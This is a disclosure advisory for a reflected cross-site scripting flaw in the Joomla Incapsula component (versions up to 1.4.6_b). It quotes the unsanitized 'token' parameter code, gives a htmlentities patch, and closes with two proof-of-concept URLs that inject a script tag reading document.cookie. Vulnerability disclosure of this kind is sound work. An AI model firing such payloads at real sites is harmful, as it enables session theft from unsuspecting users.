Joomla Incapsula Component <= 1.4.6_b Reflected Cross-Site Scripting Vulnerability


Vendor: Incapsula Inc.
Product web page: http://www.incapsula.com
Affected version: 1.4.6_b and bellow

Summary: Once installing the Incapsula for Joomla component, simply
make the provided DNS changes and within minutes your website traffic
will be seamlessly routed through Incapsulas globally distributed
network of POPs.

Desc: The Joomla Incapsula component suffers from a XSS issue due
to a failure to properly sanitize user-supplied input to the 'token'
GET parameter in the 'Security.php' and 'Performance.php' scripts.
Attackers can exploit this weakness to execute arbitrary HTML and
script code in a user's browser session.


--------------------------------------------------------------------------
/administrator/components/com_incapsula/assets/tips/en/Performance.php:
-----------------------------------------------------------------------

22: <a href="https://my.incapsula.com/billing/selectplan?token=
    <?php echo $_GET['token']; ?> target="_blank" class="IFJ_link">
    Click here</a> to upgrade your account


Patch:
------

22: <a href="https://my.incapsula.com/billing/selectplan?token=
    <?php echo htmlentities($_GET['token']); ?>" target="_blank"
    class="IFJ_link">Click here</a> to upgrade your account

--------------------------------------------------------------------------


Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience.mk


Advisory ID: ZSL-2013-5121
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5121.php


06.12.2012

--


http://localhost/administrator/components/com_incapsula/assets/tips/en/Security.php?token="><script>alert(document.cookie)</script>
http://localhost/administrator/components/com_incapsula/assets/tips/en/Performance.php?token="><script>alert(document.cookie)</script>